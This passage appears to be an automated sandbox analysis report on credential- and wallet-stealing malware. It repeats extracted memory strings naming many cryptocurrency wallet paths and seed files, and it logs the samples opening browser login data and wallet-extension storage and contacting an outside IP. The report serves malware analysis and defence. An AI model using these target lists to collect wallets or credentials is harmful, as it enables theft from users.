Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4edf09f764.exe, 00000034.00000003.2974126653.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Liveheia5+-

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.7:50141 -> 34.118.89.252:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\Public\AppData\Roaming\8pecxstudios\Cyberfox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
